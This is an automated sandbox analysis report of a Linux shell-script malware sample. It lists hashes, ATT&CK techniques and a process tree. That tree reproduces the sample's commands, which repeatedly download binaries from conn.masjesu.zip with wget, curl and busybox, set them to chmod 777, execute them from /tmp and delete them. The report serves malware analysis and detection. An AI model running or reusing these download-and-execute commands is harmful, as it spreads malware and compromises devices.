e41d067cea0a1e169a04fcad5054a76bb1493cbef78419ee480a1340371ec98c

Analysis

max time kernel
118s
max time network
120s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
02/11/2024, 12:52

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
e41d067cea0a1e169a04fcad5054a76bb1493cbef78419ee480a1340371ec98c.sh
Size 10KB
Sample241102-p39m6stqds
SHA256 e41d067cea0a1e169a04fcad5054a76bb1493cbef78419ee480a1340371ec98c
MD5 9b6ddb6f517dd06e39f201ddc832bc09
SHA1 cd19768c7e3f3fe5fad99fb7787a725b552e73f5
SHA512 4fbe0af559fc47ada4c9ca6fa21c63353fa4e0bb00423398ed6b67f590a2cb0f3be1d53f226b9a40c3d258dc644fa02e32e19be137be39e93937b5f01283b735
SSDEEP 192:ibDbrbCbtbJbbIoLiuiNtvB7GImkbDbrbCbtbJbVIoLiufHhR:ivv2BVYtZ7GImkvv2BVJb
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
841	chmod
878	chmod
748	chmod
766	chmod
824	chmod
909	chmod
1015	chmod
792	chmod
834	chmod
1022	chmod
969	chmod
984	chmod
991	chmod
1007	chmod
924	chmod
939	chmod
954	chmod
999	chmod
901	chmod
916	chmod
977	chmod
739	chmod
756	chmod
894	chmod
932	chmod
962	chmod
886	chmod
946	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
837	wget
959	curl
998	busybox
725	curl
763	busybox
1011	wget
1021	busybox
771	wget
859	busybox
897	wget
931	busybox
1019	curl
921	curl
951	curl
961	busybox
788	busybox
838	curl
912	wget
913	curl
915	busybox
1002	rm
1000	DHeCl0jp23IPRqB86yPPLgFGrJcOMSr1SB
1018	wget
840	busybox
905	wget
987	wget
990	busybox
995	wget
715	wget
828	wget
831	curl
981	curl
743	wget
893	busybox
906	curl
929	curl
753	curl
761	curl
945	busybox
966	curl
1014	busybox
734	busybox
844	wget
895	DHeCl0jp23IPRqB86yPPLgFGrJcOMSr1SB
988	curl
1003	wget
891	curl
908	busybox
974	curl
755	busybox
819	busybox
833	busybox
849	curl
883	curl
983	busybox
943	curl
953	busybox
976	busybox
745	curl
760	wget
890	wget
896	rm
920	wget
806	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/UYUrGw9Dv7SjntF19Dg1JL7lxNMr4XKVEf	curl
File opened for modification	/tmp/RRCzpeYokgwuqVYg6Kn10tGLQXQ2qNzizT	curl
File opened for modification	/tmp/RRCzpeYokgwuqVYg6Kn10tGLQXQ2qNzizT	curl
File opened for modification	/tmp/HkmFnWajjeVaRQ3K4zMu0GG0E8OR7mYmvj	curl
File opened for modification	/tmp/wdGh19ZzISooPUTsZl1zT6DFD5YYNBhHXY	curl
File opened for modification	/tmp/UYUrGw9Dv7SjntF19Dg1JL7lxNMr4XKVEf	curl
File opened for modification	/tmp/sqpAhyOZFgOJKcZfaDkKMtNYuAk1xklhQE	curl
File opened for modification	/tmp/vVK0Jg4czP8IJQrsbzk6icJ870QkjPl8IA	curl
File opened for modification	/tmp/DHeCl0jp23IPRqB86yPPLgFGrJcOMSr1SB	curl
File opened for modification	/tmp/tgzwJfG2bu2H47653RL9c7l8MtQGxKE2qp	curl
File opened for modification	/tmp/HkmFnWajjeVaRQ3K4zMu0GG0E8OR7mYmvj	curl
File opened for modification	/tmp/i58c2mnqKhgOVBRt3NTRpRHoo6LKfUXiGT	curl
File opened for modification	/tmp/aFU9CoDUJADA3utjnigQjGsmY40ZrxZMnJ	curl
File opened for modification	/tmp/i58c2mnqKhgOVBRt3NTRpRHoo6LKfUXiGT	curl
File opened for modification	/tmp/8P1o4wD69yrT08mQjtYS7t83kKml0VYbDW	curl
File opened for modification	/tmp/aFU9CoDUJADA3utjnigQjGsmY40ZrxZMnJ	curl
File opened for modification	/tmp/84VMcRRm8KlcnZAcp4lWWQpCh7sBJNC26Y	curl
File opened for modification	/tmp/DHeCl0jp23IPRqB86yPPLgFGrJcOMSr1SB	curl
File opened for modification	/tmp/8P1o4wD69yrT08mQjtYS7t83kKml0VYbDW	curl
File opened for modification	/tmp/wZ7PHzWyuI3jYCUlWcQaBqL563Qnz7xfQ7	curl
File opened for modification	/tmp/dHC4wAZSqcU5IUEDWm8kB53YpJcNjW11ac	curl
File opened for modification	/tmp/sqpAhyOZFgOJKcZfaDkKMtNYuAk1xklhQE	curl
File opened for modification	/tmp/wZ7PHzWyuI3jYCUlWcQaBqL563Qnz7xfQ7	curl
File opened for modification	/tmp/84VMcRRm8KlcnZAcp4lWWQpCh7sBJNC26Y	curl
File opened for modification	/tmp/tgzwJfG2bu2H47653RL9c7l8MtQGxKE2qp	curl
File opened for modification	/tmp/wdGh19ZzISooPUTsZl1zT6DFD5YYNBhHXY	curl
File opened for modification	/tmp/vVK0Jg4czP8IJQrsbzk6icJ870QkjPl8IA	curl
File opened for modification	/tmp/dHC4wAZSqcU5IUEDWm8kB53YpJcNjW11ac	curl

/tmp/e41d067cea0a1e169a04fcad5054a76bb1493cbef78419ee480a1340371ec98c.sh
/tmp/e41d067cea0a1e169a04fcad5054a76bb1493cbef78419ee480a1340371ec98c.sh
1⤵
PID:707
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:709
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/RRCzpeYokgwuqVYg6Kn10tGLQXQ2qNzizT
  2⤵
  - System Network Configuration Discovery
  PID:715
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/RRCzpeYokgwuqVYg6Kn10tGLQXQ2qNzizT
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:725
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/RRCzpeYokgwuqVYg6Kn10tGLQXQ2qNzizT
  2⤵
  - System Network Configuration Discovery
  PID:734
- /bin/chmod
  chmod 777 RRCzpeYokgwuqVYg6Kn10tGLQXQ2qNzizT
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/RRCzpeYokgwuqVYg6Kn10tGLQXQ2qNzizT
  ./RRCzpeYokgwuqVYg6Kn10tGLQXQ2qNzizT
  2⤵
  - Executes dropped EXE
  PID:740
- /bin/rm
  rm RRCzpeYokgwuqVYg6Kn10tGLQXQ2qNzizT
  2⤵
  PID:742
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/8P1o4wD69yrT08mQjtYS7t83kKml0VYbDW
  2⤵
  - System Network Configuration Discovery
  PID:743
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/8P1o4wD69yrT08mQjtYS7t83kKml0VYbDW
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:745
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/8P1o4wD69yrT08mQjtYS7t83kKml0VYbDW
  2⤵
  PID:747
- /bin/chmod
  chmod 777 8P1o4wD69yrT08mQjtYS7t83kKml0VYbDW
  2⤵
  - File and Directory Permissions Modification
  PID:748
- /tmp/8P1o4wD69yrT08mQjtYS7t83kKml0VYbDW
  ./8P1o4wD69yrT08mQjtYS7t83kKml0VYbDW
  2⤵
  - Executes dropped EXE
  PID:749
- /bin/rm
  rm 8P1o4wD69yrT08mQjtYS7t83kKml0VYbDW
  2⤵
  PID:751
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/wdGh19ZzISooPUTsZl1zT6DFD5YYNBhHXY
  2⤵
  PID:752
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/wdGh19ZzISooPUTsZl1zT6DFD5YYNBhHXY
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:753
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/wdGh19ZzISooPUTsZl1zT6DFD5YYNBhHXY
  2⤵
  - System Network Configuration Discovery
  PID:755
- /bin/chmod
  chmod 777 wdGh19ZzISooPUTsZl1zT6DFD5YYNBhHXY
  2⤵
  - File and Directory Permissions Modification
  PID:756
- /tmp/wdGh19ZzISooPUTsZl1zT6DFD5YYNBhHXY
  ./wdGh19ZzISooPUTsZl1zT6DFD5YYNBhHXY
  2⤵
  - Executes dropped EXE
  PID:757
- /bin/rm
  rm wdGh19ZzISooPUTsZl1zT6DFD5YYNBhHXY
  2⤵
  PID:759
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/vVK0Jg4czP8IJQrsbzk6icJ870QkjPl8IA
  2⤵
  - System Network Configuration Discovery
  PID:760
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/vVK0Jg4czP8IJQrsbzk6icJ870QkjPl8IA
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:761
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/vVK0Jg4czP8IJQrsbzk6icJ870QkjPl8IA
  2⤵
  - System Network Configuration Discovery
  PID:763
- /bin/chmod
  chmod 777 vVK0Jg4czP8IJQrsbzk6icJ870QkjPl8IA
  2⤵
  - File and Directory Permissions Modification
  PID:766
- /tmp/vVK0Jg4czP8IJQrsbzk6icJ870QkjPl8IA
  ./vVK0Jg4czP8IJQrsbzk6icJ870QkjPl8IA
  2⤵
  - Executes dropped EXE
  PID:767
- /bin/rm
  rm vVK0Jg4czP8IJQrsbzk6icJ870QkjPl8IA
  2⤵
  PID:770
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/aFU9CoDUJADA3utjnigQjGsmY40ZrxZMnJ
  2⤵
  - System Network Configuration Discovery
  PID:771
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/aFU9CoDUJADA3utjnigQjGsmY40ZrxZMnJ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:778
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/aFU9CoDUJADA3utjnigQjGsmY40ZrxZMnJ
  2⤵
  - System Network Configuration Discovery
  PID:788
- /bin/chmod
  chmod 777 aFU9CoDUJADA3utjnigQjGsmY40ZrxZMnJ
  2⤵
  - File and Directory Permissions Modification
  PID:792
- /tmp/aFU9CoDUJADA3utjnigQjGsmY40ZrxZMnJ
  ./aFU9CoDUJADA3utjnigQjGsmY40ZrxZMnJ
  2⤵
  - Executes dropped EXE
  PID:793
- /bin/rm
  rm aFU9CoDUJADA3utjnigQjGsmY40ZrxZMnJ
  2⤵
  PID:796
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/UYUrGw9Dv7SjntF19Dg1JL7lxNMr4XKVEf
  2⤵
  PID:798
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/UYUrGw9Dv7SjntF19Dg1JL7lxNMr4XKVEf
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:806
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/UYUrGw9Dv7SjntF19Dg1JL7lxNMr4XKVEf
  2⤵
  - System Network Configuration Discovery
  PID:819
- /bin/chmod
  chmod 777 UYUrGw9Dv7SjntF19Dg1JL7lxNMr4XKVEf
  2⤵
  - File and Directory Permissions Modification
  PID:824
- /tmp/UYUrGw9Dv7SjntF19Dg1JL7lxNMr4XKVEf
  ./UYUrGw9Dv7SjntF19Dg1JL7lxNMr4XKVEf
  2⤵
  - Executes dropped EXE
  PID:825
- /bin/rm
  rm UYUrGw9Dv7SjntF19Dg1JL7lxNMr4XKVEf
  2⤵
  PID:827
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/wZ7PHzWyuI3jYCUlWcQaBqL563Qnz7xfQ7
  2⤵
  - System Network Configuration Discovery
  PID:828
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/wZ7PHzWyuI3jYCUlWcQaBqL563Qnz7xfQ7
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:831
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/wZ7PHzWyuI3jYCUlWcQaBqL563Qnz7xfQ7
  2⤵
  - System Network Configuration Discovery
  PID:833
- /bin/chmod
  chmod 777 wZ7PHzWyuI3jYCUlWcQaBqL563Qnz7xfQ7
  2⤵
  - File and Directory Permissions Modification
  PID:834
- /tmp/wZ7PHzWyuI3jYCUlWcQaBqL563Qnz7xfQ7
  ./wZ7PHzWyuI3jYCUlWcQaBqL563Qnz7xfQ7
  2⤵
  - Executes dropped EXE
  PID:835
- /bin/rm
  rm wZ7PHzWyuI3jYCUlWcQaBqL563Qnz7xfQ7
  2⤵
  PID:836
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/84VMcRRm8KlcnZAcp4lWWQpCh7sBJNC26Y
  2⤵
  - System Network Configuration Discovery
  PID:837
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/84VMcRRm8KlcnZAcp4lWWQpCh7sBJNC26Y
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:838
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/84VMcRRm8KlcnZAcp4lWWQpCh7sBJNC26Y
  2⤵
  - System Network Configuration Discovery
  PID:840
- /bin/chmod
  chmod 777 84VMcRRm8KlcnZAcp4lWWQpCh7sBJNC26Y
  2⤵
  - File and Directory Permissions Modification
  PID:841
- /tmp/84VMcRRm8KlcnZAcp4lWWQpCh7sBJNC26Y
  ./84VMcRRm8KlcnZAcp4lWWQpCh7sBJNC26Y
  2⤵
  - Executes dropped EXE
  PID:842
- /bin/rm
  rm 84VMcRRm8KlcnZAcp4lWWQpCh7sBJNC26Y
  2⤵
  PID:843
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/dHC4wAZSqcU5IUEDWm8kB53YpJcNjW11ac
  2⤵
  - System Network Configuration Discovery
  PID:844
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/dHC4wAZSqcU5IUEDWm8kB53YpJcNjW11ac
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:849
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/dHC4wAZSqcU5IUEDWm8kB53YpJcNjW11ac
  2⤵
  - System Network Configuration Discovery
  PID:859
- /bin/chmod
  chmod 777 dHC4wAZSqcU5IUEDWm8kB53YpJcNjW11ac
  2⤵
  - File and Directory Permissions Modification
  PID:878
- /tmp/dHC4wAZSqcU5IUEDWm8kB53YpJcNjW11ac
  ./dHC4wAZSqcU5IUEDWm8kB53YpJcNjW11ac
  2⤵
  - Executes dropped EXE
  PID:879
- /bin/rm
  rm dHC4wAZSqcU5IUEDWm8kB53YpJcNjW11ac
  2⤵
  PID:881
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/tgzwJfG2bu2H47653RL9c7l8MtQGxKE2qp
  2⤵
  PID:882
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/tgzwJfG2bu2H47653RL9c7l8MtQGxKE2qp
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:883
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/tgzwJfG2bu2H47653RL9c7l8MtQGxKE2qp
  2⤵
  PID:885
- /bin/chmod
  chmod 777 tgzwJfG2bu2H47653RL9c7l8MtQGxKE2qp
  2⤵
  - File and Directory Permissions Modification
  PID:886
- /tmp/tgzwJfG2bu2H47653RL9c7l8MtQGxKE2qp
  ./tgzwJfG2bu2H47653RL9c7l8MtQGxKE2qp
  2⤵
  - Executes dropped EXE
  PID:887
- /bin/rm
  rm tgzwJfG2bu2H47653RL9c7l8MtQGxKE2qp
  2⤵
  PID:889
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/DHeCl0jp23IPRqB86yPPLgFGrJcOMSr1SB
  2⤵
  - System Network Configuration Discovery
  PID:890
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/DHeCl0jp23IPRqB86yPPLgFGrJcOMSr1SB
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:891
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/DHeCl0jp23IPRqB86yPPLgFGrJcOMSr1SB
  2⤵
  - System Network Configuration Discovery
  PID:893
- /bin/chmod
  chmod 777 DHeCl0jp23IPRqB86yPPLgFGrJcOMSr1SB
  2⤵
  - File and Directory Permissions Modification
  PID:894
- /tmp/DHeCl0jp23IPRqB86yPPLgFGrJcOMSr1SB
  ./DHeCl0jp23IPRqB86yPPLgFGrJcOMSr1SB
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:895
- /bin/rm
  rm DHeCl0jp23IPRqB86yPPLgFGrJcOMSr1SB
  2⤵
  - System Network Configuration Discovery
  PID:896
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/HkmFnWajjeVaRQ3K4zMu0GG0E8OR7mYmvj
  2⤵
  - System Network Configuration Discovery
  PID:897
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/HkmFnWajjeVaRQ3K4zMu0GG0E8OR7mYmvj
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:898
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/HkmFnWajjeVaRQ3K4zMu0GG0E8OR7mYmvj
  2⤵
  PID:900
- /bin/chmod
  chmod 777 HkmFnWajjeVaRQ3K4zMu0GG0E8OR7mYmvj
  2⤵
  - File and Directory Permissions Modification
  PID:901
- /tmp/HkmFnWajjeVaRQ3K4zMu0GG0E8OR7mYmvj
  ./HkmFnWajjeVaRQ3K4zMu0GG0E8OR7mYmvj
  2⤵
  - Executes dropped EXE
  PID:902
- /bin/rm
  rm HkmFnWajjeVaRQ3K4zMu0GG0E8OR7mYmvj
  2⤵
  PID:904
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/i58c2mnqKhgOVBRt3NTRpRHoo6LKfUXiGT
  2⤵
  - System Network Configuration Discovery
  PID:905
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/i58c2mnqKhgOVBRt3NTRpRHoo6LKfUXiGT
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:906
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/i58c2mnqKhgOVBRt3NTRpRHoo6LKfUXiGT
  2⤵
  - System Network Configuration Discovery
  PID:908
- /bin/chmod
  chmod 777 i58c2mnqKhgOVBRt3NTRpRHoo6LKfUXiGT
  2⤵
  - File and Directory Permissions Modification
  PID:909
- /tmp/i58c2mnqKhgOVBRt3NTRpRHoo6LKfUXiGT
  ./i58c2mnqKhgOVBRt3NTRpRHoo6LKfUXiGT
  2⤵
  - Executes dropped EXE
  PID:910
- /bin/rm
  rm i58c2mnqKhgOVBRt3NTRpRHoo6LKfUXiGT
  2⤵
  PID:911
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/sqpAhyOZFgOJKcZfaDkKMtNYuAk1xklhQE
  2⤵
  - System Network Configuration Discovery
  PID:912
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/sqpAhyOZFgOJKcZfaDkKMtNYuAk1xklhQE
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:913
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/sqpAhyOZFgOJKcZfaDkKMtNYuAk1xklhQE
  2⤵
  - System Network Configuration Discovery
  PID:915
- /bin/chmod
  chmod 777 sqpAhyOZFgOJKcZfaDkKMtNYuAk1xklhQE
  2⤵
  - File and Directory Permissions Modification
  PID:916
- /tmp/sqpAhyOZFgOJKcZfaDkKMtNYuAk1xklhQE
  ./sqpAhyOZFgOJKcZfaDkKMtNYuAk1xklhQE
  2⤵
  - Executes dropped EXE
  PID:917
- /bin/rm
  rm sqpAhyOZFgOJKcZfaDkKMtNYuAk1xklhQE
  2⤵
  PID:919
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/RRCzpeYokgwuqVYg6Kn10tGLQXQ2qNzizT
  2⤵
  - System Network Configuration Discovery
  PID:920
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/RRCzpeYokgwuqVYg6Kn10tGLQXQ2qNzizT
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:921
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/RRCzpeYokgwuqVYg6Kn10tGLQXQ2qNzizT
  2⤵
  PID:923
- /bin/chmod
  chmod 777 RRCzpeYokgwuqVYg6Kn10tGLQXQ2qNzizT
  2⤵
  - File and Directory Permissions Modification
  PID:924
- /tmp/RRCzpeYokgwuqVYg6Kn10tGLQXQ2qNzizT
  ./RRCzpeYokgwuqVYg6Kn10tGLQXQ2qNzizT
  2⤵
  - Executes dropped EXE
  PID:925
- /bin/rm
  rm RRCzpeYokgwuqVYg6Kn10tGLQXQ2qNzizT
  2⤵
  PID:927
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/8P1o4wD69yrT08mQjtYS7t83kKml0VYbDW
  2⤵
  PID:928
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/8P1o4wD69yrT08mQjtYS7t83kKml0VYbDW
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:929
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/8P1o4wD69yrT08mQjtYS7t83kKml0VYbDW
  2⤵
  - System Network Configuration Discovery
  PID:931
- /bin/chmod
  chmod 777 8P1o4wD69yrT08mQjtYS7t83kKml0VYbDW
  2⤵
  - File and Directory Permissions Modification
  PID:932
- /tmp/8P1o4wD69yrT08mQjtYS7t83kKml0VYbDW
  ./8P1o4wD69yrT08mQjtYS7t83kKml0VYbDW
  2⤵
  - Executes dropped EXE
  PID:933
- /bin/rm
  rm 8P1o4wD69yrT08mQjtYS7t83kKml0VYbDW
  2⤵
  PID:934
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/wdGh19ZzISooPUTsZl1zT6DFD5YYNBhHXY
  2⤵
  PID:935
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/wdGh19ZzISooPUTsZl1zT6DFD5YYNBhHXY
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:936
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/wdGh19ZzISooPUTsZl1zT6DFD5YYNBhHXY
  2⤵
  PID:938
- /bin/chmod
  chmod 777 wdGh19ZzISooPUTsZl1zT6DFD5YYNBhHXY
  2⤵
  - File and Directory Permissions Modification
  PID:939
- /tmp/wdGh19ZzISooPUTsZl1zT6DFD5YYNBhHXY
  ./wdGh19ZzISooPUTsZl1zT6DFD5YYNBhHXY
  2⤵
  - Executes dropped EXE
  PID:940
- /bin/rm
  rm wdGh19ZzISooPUTsZl1zT6DFD5YYNBhHXY
  2⤵
  PID:941
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/vVK0Jg4czP8IJQrsbzk6icJ870QkjPl8IA
  2⤵
  PID:942
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/vVK0Jg4czP8IJQrsbzk6icJ870QkjPl8IA
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:943
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/vVK0Jg4czP8IJQrsbzk6icJ870QkjPl8IA
  2⤵
  - System Network Configuration Discovery
  PID:945
- /bin/chmod
  chmod 777 vVK0Jg4czP8IJQrsbzk6icJ870QkjPl8IA
  2⤵
  - File and Directory Permissions Modification
  PID:946
- /tmp/vVK0Jg4czP8IJQrsbzk6icJ870QkjPl8IA
  ./vVK0Jg4czP8IJQrsbzk6icJ870QkjPl8IA
  2⤵
  - Executes dropped EXE
  PID:947
- /bin/rm
  rm vVK0Jg4czP8IJQrsbzk6icJ870QkjPl8IA
  2⤵
  PID:949
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/UYUrGw9Dv7SjntF19Dg1JL7lxNMr4XKVEf
  2⤵
  PID:950
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/UYUrGw9Dv7SjntF19Dg1JL7lxNMr4XKVEf
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:951
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/UYUrGw9Dv7SjntF19Dg1JL7lxNMr4XKVEf
  2⤵
  - System Network Configuration Discovery
  PID:953
- /bin/chmod
  chmod 777 UYUrGw9Dv7SjntF19Dg1JL7lxNMr4XKVEf
  2⤵
  - File and Directory Permissions Modification
  PID:954
- /tmp/UYUrGw9Dv7SjntF19Dg1JL7lxNMr4XKVEf
  ./UYUrGw9Dv7SjntF19Dg1JL7lxNMr4XKVEf
  2⤵
  - Executes dropped EXE
  PID:955
- /bin/rm
  rm UYUrGw9Dv7SjntF19Dg1JL7lxNMr4XKVEf
  2⤵
  PID:957
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/wZ7PHzWyuI3jYCUlWcQaBqL563Qnz7xfQ7
  2⤵
  PID:958
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/wZ7PHzWyuI3jYCUlWcQaBqL563Qnz7xfQ7
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:959
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/wZ7PHzWyuI3jYCUlWcQaBqL563Qnz7xfQ7
  2⤵
  - System Network Configuration Discovery
  PID:961
- /bin/chmod
  chmod 777 wZ7PHzWyuI3jYCUlWcQaBqL563Qnz7xfQ7
  2⤵
  - File and Directory Permissions Modification
  PID:962
- /tmp/wZ7PHzWyuI3jYCUlWcQaBqL563Qnz7xfQ7
  ./wZ7PHzWyuI3jYCUlWcQaBqL563Qnz7xfQ7
  2⤵
  - Executes dropped EXE
  PID:963
- /bin/rm
  rm wZ7PHzWyuI3jYCUlWcQaBqL563Qnz7xfQ7
  2⤵
  PID:964
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/84VMcRRm8KlcnZAcp4lWWQpCh7sBJNC26Y
  2⤵
  PID:965
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/84VMcRRm8KlcnZAcp4lWWQpCh7sBJNC26Y
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:966
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/84VMcRRm8KlcnZAcp4lWWQpCh7sBJNC26Y
  2⤵
  PID:968
- /bin/chmod
  chmod 777 84VMcRRm8KlcnZAcp4lWWQpCh7sBJNC26Y
  2⤵
  - File and Directory Permissions Modification
  PID:969
- /tmp/84VMcRRm8KlcnZAcp4lWWQpCh7sBJNC26Y
  ./84VMcRRm8KlcnZAcp4lWWQpCh7sBJNC26Y
  2⤵
  - Executes dropped EXE
  PID:970
- /bin/rm
  rm 84VMcRRm8KlcnZAcp4lWWQpCh7sBJNC26Y
  2⤵
  PID:972
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/dHC4wAZSqcU5IUEDWm8kB53YpJcNjW11ac
  2⤵
  PID:973
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/dHC4wAZSqcU5IUEDWm8kB53YpJcNjW11ac
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:974
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/dHC4wAZSqcU5IUEDWm8kB53YpJcNjW11ac
  2⤵
  - System Network Configuration Discovery
